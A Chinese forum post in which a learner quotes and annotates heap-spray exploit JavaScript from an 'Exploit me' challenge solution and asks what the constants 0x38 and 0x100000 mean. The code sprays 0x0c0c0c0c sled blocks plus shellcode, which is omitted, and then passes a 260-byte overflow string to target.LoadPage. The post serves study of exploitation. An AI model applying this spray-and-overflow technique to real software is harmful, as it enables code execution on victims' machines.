我刚下载了了看雪论坛精华9,在看Exploit me挑战赛第二题解答时,下面代码有一些不明白的地方
var heapSprayToAddress = 0x0c0c0c0c;//这是要跳转的地址,我看了一下要求,是汇编单字节的指令,经常用的是0c0c0c0c和0a0a0a0a。
var shellcode = unescape……;//省略
var heapBlockSize = 0x100000;//固定长度
var payLoadSize = shellcode.length * 2; //unicode要求乘以2?
var spraySlideSize = heapBlockSize - (payLoadSize+0x38);//0x38不理解,是否堆头部信息固定长度?
var spraySlide = unescape("%u0c0c%u0c0c");//覆盖的地址
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (heapSprayToAddress - 0x100000)/heapBlockSize;//分配堆的数量,保证覆盖到0c0c0c0c。其中0x100000是否是文件映射地址?这个数据我也不明白
memory = new Array();
for (i=0;i<heapBlocks;i++)//填充空间,保证代码覆盖到我们需要的地方
{
memory[i] = spraySlide + shellcode;
}
function getSpraySlide(spraySlide, spraySlideSize)//在shellcode之前填写足够长度的填充数据。
{
while (spraySlide.length*2<spraySlideSize)
{
spraySlide += spraySlide;
}
spraySlide = spraySlide.substring(0,spraySlideSize/2);//unicode字符,包含两个字节,所以除以2。我会用for(i=0;i<spraySlideSize/2;i++)spraySlide += unescape("%u0c0c%u0c0c")来做,我的方法明显速度会慢很多。
return spraySlide;
}
var s = "";
while (s.length < 260) {
s += '\x0c';
}
target.LoadPage(s,1,1,1);
上面是我的分析,我对两个固定值不太明白,希望各位帮我解答。谢谢